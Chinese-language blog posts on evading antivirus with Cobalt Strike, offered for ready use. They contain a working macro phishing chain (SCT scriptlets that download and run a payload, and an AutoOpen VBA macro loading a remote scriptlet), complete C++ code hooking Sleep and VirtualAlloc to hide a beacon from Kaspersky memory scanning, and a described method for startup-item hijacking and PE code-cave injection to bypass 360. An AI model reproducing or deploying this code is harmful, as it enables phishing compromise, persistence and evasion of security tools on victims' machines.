文档钓鱼-宏免杀上线

前言

突然要研究,没啥技术含量
photo_2021-04-16_23-59-49.jpg

使用

远程部署一个sct

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("powershell的cs马");
    ]]>
</script>
</registration>
</scriptlet>

这个只能过360,我也不知道为啥它不拦,但是总之他就是不拦截。。。
以及过其他的。

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
        var WSHShell = new ActiveXObject("WScript.Shell");
path = WSHShell.ExpandEnvironmentStrings("%temp%");
var filepath = path+"/asdqq";
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("GET","你的免杀马", false);
xhr.send();
if (xhr.Status == 200) {
        var fso = new ActiveXObject("Scripting.FileSystemObject");
        var stream = new ActiveXObject("ADODB.Stream");
        stream.Open();
        stream.Type = 1;
        stream.Write(xhr.ResponseBody);
        stream.Position = 0;
    if (fso.FileExists(filepath)){
       fso.DeleteFile(filepath);
    }
        stream.SaveToFile(filepath);
        stream.Close();
        new ActiveXObject("WScript.Shell").Exec(filepath);
}
    ]]>
</script>
</registration>
</scriptlet>

用上面这个方法,目标开了宏就能过了。

直接给宏添加

Private Declare Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long

Sub AutoOpen()
    DllInstall False, ByVal StrPtr("你的远程sct地址") ' False = "Don't install"
End Sub
Tags: 免杀, cs,

cs bypass卡巴斯基内存查杀--BIE实现

前言

WBG大佬的的实现:cs bypass卡巴斯基内存查杀 跟风yansu大佬.pdf
yansu大佬的文章:记一次cs bypass卡巴斯基内存查杀

大佬们思路都骚的丫批,我就不献丑直接上代码了,原理和WBG大佬的一模一样,只不过自己实现了hook api,开箱即用

#include<windows.h>
#include<stdio.h>

static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD
    flAllocationType, DWORD flProtect) = VirtualAlloc;

static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;

LPVOID Beacon_address = NULL;
DWORD Beacon_data_len;
bool Vir_FLAG;

struct APIHeader {
#ifdef _WIN64
    char buff[12];
#else
    char buff[5];
#endif
    int size;
};

APIHeader Sleep_Header;
APIHeader VirtualAlloc_Header;
DWORD Beacon_Memory_address_flOldProtect;
BOOL IgnoreFirst = false;


HANDLE hEvent = CreateEvent(NULL, TRUE, false, NULL);
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{

    printf("FirstVectExcepHandler\n");
    printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
    //printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);

    if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005)
    {
        printf("恢复Beacon内存属性\n");
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE,
            &Beacon_Memory_address_flOldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
    printf("Beacon_set_Memory_attributes启动\n");
    while (true)
    {
        WaitForSingleObject(hEvent, INFINITE);
        printf("设置Beacon内存属性不可执行\n");
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE,
            &Beacon_Memory_address_flOldProtect);
        ResetEvent(hEvent);
    }
    return 0;
}



BOOL HookApi(LPCSTR Moudle, LPCSTR Function, LPVOID NewFunction, APIHeader* api)
{
    // 获取 user32.dll 模块加载基址
    HMODULE hDll = GetModuleHandleA(Moudle);
    if (NULL == hDll)
    {
        return FALSE;
    }
    // 获取 MessageBoxA 函数的导出地址
    PVOID OldFunction = GetProcAddress(hDll, Function);
    if (NULL == OldFunction)
    {
        return FALSE;
    }
    // 计算写入的前几字节数据, 32位下5字节, 64位下12字节
#ifndef _WIN64
    // 32位
    // 汇编代码:jmp _dwNewAddress
    // 机器码位:e9 _dwOffset(跳转偏移)
    //        addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
    //        addr2 --> 跳转地址的值,即_dwNewAddress的值
    //        跳转偏移 _dwOffset = addr2 - addr1
    BYTE pNewData[5] = { 0xe9, 0, 0, 0, 0 };
    DWORD dwNewDataSize = 5;
    DWORD dwOffset = 0;
    // 计算跳转偏移
    dwOffset = ((DWORD)NewFunction) - (DWORD)OldFunction;
    printf("raw:%x offset:%x\n", NewFunction, dwOffset);
    RtlCopyMemory(&pNewData[1], &dwOffset, sizeof(dwOffset));
#else
    // 64位
    // 汇编代码:mov rax, _dwNewAddress(0x1122334455667788)
    //         jmp rax
    // 机器码是:
    //    48 b8 _dwNewAddress(0x1122334455667788)
    //    ff e0
    BYTE pNewData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
    DWORD dwNewDataSize = 12;
    api->size = dwNewDataSize;
    ULONGLONG ullNewFuncAddr = (ULONGLONG)NewFunction;
    RtlCopyMemory(&pNewData[2], &ullNewFuncAddr, sizeof(ullNewFuncAddr));
#endif
    // 设置页面的保护属性为 可读、可写、可执行
    DWORD dwOldProtect = 0;
    VirtualProtect(OldFunction, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 保存原始数据
    RtlCopyMemory(api->buff, OldFunction, dwNewDataSize);
    //printf("address:%llx\n", OldFunction);
    RtlCopyMemory(OldFunction, pNewData, dwNewDataSize);
    // 还原页面保护属性
    VirtualProtect(OldFunction, dwNewDataSize, dwOldProtect, &dwOldProtect);
    return TRUE;
}
BOOL UnhookApi(LPCSTR Moudle, LPCSTR Function, APIHeader* api)
{
    // 获取 user32.dll 模块加载基址
    HMODULE hDll = GetModuleHandleA(Moudle);
    if (NULL == hDll)
    {
        return FALSE;
    }
    // 获取 MessageBoxA 函数的导出地址
    PVOID OldFunction = GetProcAddress(hDll, Function);
    if (NULL == OldFunction)
    {
        return FALSE;
    }
    // 计算写入的前几字节数据, 32位下5字节, 64位下12字节
#ifndef _WIN64
    DWORD dwNewDataSize = 5;
#else
    DWORD dwNewDataSize = 12;
#endif
    // 设置页面的保护属性为 可读、可写、可执行
    DWORD dwOldProtect = 0;
    VirtualProtect(OldFunction, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 恢复数据
    RtlCopyMemory(OldFunction, api->buff, dwNewDataSize);
    // 还原页面保护属性
    VirtualProtect(OldFunction, dwNewDataSize, dwOldProtect, &dwOldProtect);
    return TRUE;
}
typedef void(__stdcall* CODE) ();
void WINAPI NewSleep(DWORD dwMilliseconds)
{

    printf("sleep时间:%d\n", dwMilliseconds);
    UnhookApi("kernel32.dll", "Sleep", &Sleep_Header);
    if (Beacon_address) {
        VirtualFree(Beacon_address, Beacon_data_len, MEM_RELEASE);
    }
    SetEvent(hEvent);
    OldSleep(dwMilliseconds);
    HookApi("kernel32.dll", "Sleep", &NewSleep, &Sleep_Header);
}
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD flProtect) {

    UnhookApi("kernel32.dll", "VirtualAlloc", &VirtualAlloc_Header);
    Beacon_data_len = dwSize;
    Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
    //HookApi("kernel32.dll", "VirtualAlloc", &NewVirtualAlloc, &VirtualAlloc_Header);
    printf("分配大小:%d\t", Beacon_data_len);
    printf("分配地址:%llx \n", Beacon_address);

    return Beacon_address;

}
DWORD ReadFileData(char* szFilePath, char* pBuf)
{
    DWORD dwBytesRead;
    HANDLE hFile;

    hFile = CreateFileA(szFilePath, GENERIC_READ, FILE_SHARE_READ, NULL,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        return 0;
    }

    DWORD dwFileSize = GetFileSize(hFile, 0);
    if (dwFileSize == 0)
    {
        CloseHandle(hFile);
        return 0;
    }

    ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL);
    CloseHandle(hFile);
    return dwFileSize;
}
DWORD GetFileSizeLen(char* szSource)
{

    HANDLE hFile;

    hFile = CreateFileA(szSource, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        MessageBoxA(NULL, "文件未找到!", NULL, NULL);
        return 0;
    }

    DWORD dwFileSize = GetFileSize(hFile, 0);
    if (dwFileSize == 0)
    {
        MessageBoxA(NULL, "文件长度为零!", NULL, NULL);
        CloseHandle(hFile);
        return 0;
    }
    CloseHandle(hFile);
    return dwFileSize;
}

int main()
{

    AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
    HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0,
        NULL);

    char shelname[] = "beacon.bin";
    DWORD filelen = GetFileSizeLen(shelname);
    char* filebuf = new char[filelen];
    ReadFileData(shelname, filebuf);
    PVOID p = NULL;
    if ((p = VirtualAlloc(NULL, filelen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
        MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);
    if (!(memcpy(p, filebuf, filelen)))
        MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);
    HookApi("kernel32.dll", "Sleep", &NewSleep, &Sleep_Header);
    HookApi("kernel32.dll", "VirtualAlloc", &NewVirtualAlloc, &VirtualAlloc_Header);
    CODE code = (CODE)p;

    code();
    CloseHandle(hThread1);

}

根据wbg大佬的指点,beacon.bin必须是cs生成无阶段木马的raw,不能用分阶段或者直接生成shellcode。

Tags: 免杀, cs

打造一款socket型免杀无弹窗的shellcode

自己写马子太痛苦了。
然后发现了,cs,msf这些工具又很香。只是碍于这些东西。
没办法,重!启!上!线!
免杀什么的其实都是小意思。主要还是重启上线等一堆功能。
所以就打算在这里记录一下,从零开始的,打造一款无弹窗免杀的shellcode吧。
为了不吊大家胃口,我就直接写出原理吧。
其实也不难。

就是一个写一个shellcode带有socket+rc4加密跑远端加密后的cs的payload下载下来后执行。然后利用启动项劫持技术,绕过杀软的启动保护。

再高级一点的话,就是把启动项劫持,改成用masm编写超迷你型的shellcode装载器,然后插入目标的PE空隙中,然后修改OEP指向我们的空隙然后执行完shellcode后再跳转到入口点。

启动项劫持的原理就是,360虽然禁止对启动项进行增改,但是删和查是可以的,并且对于启动项/服务项中的目标程序并没有进行保护。所以我们可以对启动项的程序进行劫持替换修改都是没问题的。或者不对启动项劫持进行替换,而是找到一个运行中的服务,kill掉它的进程,然后对服务源程序进行劫持也是可以的。原理都差不多。

总之就是这样,考完了应该会去研究一波。

至于payload,有两个方案。

可以自己写,难度有点高,可以参考

二进制入门-打造Linux shellcode基础篇

但是这种东西,一般顶天给你整个下载者。和cs那种全部功能纯shellcode还是不一样的。你下载者最终还是需要下载的你的二进制文件,达不到“负载无文件”(不是纯无文件,毕竟你的shellcode还是需要的),可能会导致你的马子被检测到。

payload难主要难在,对于API地址的定位,不过一般只要找到LoadLibrary的地址,其实还算是好说的啦。
还有难就难在栈平衡这些。
下次研究一波。
实在不行,直接整个PELOADER,自建一个RVA导入,不过传输EXE的话可能会被杀软拦截emmm,但是都能传shellcode了,传个加密的PE到内存理论上也是没关系的吧,

所以还是推荐直接使用cs或者msf,简单粗暴。

最后研究出的地址在这里

shellcode-9bie

带有直接运行和服务启动效果。
怎么用我懒得说了,只能说不添加 启动的话,能无弹窗过360+主防吧。
目前发现还不能过诺顿,待我研究一波。

同时吐槽一下遇到的一些坑。

c++的string,是非常的香的。不需要free(char );(char)malloc();这种操作的。
但是,还是碍于X问题,0会被截断。
千万不要使用str开头的函数来处理std::string.c_str()的东西。str开头的函数遇到0会自动截断,被这东西坑了好久= =
建议使用mem开头的,而且带_s,指定长度,合理控制内存。

Tags: 免杀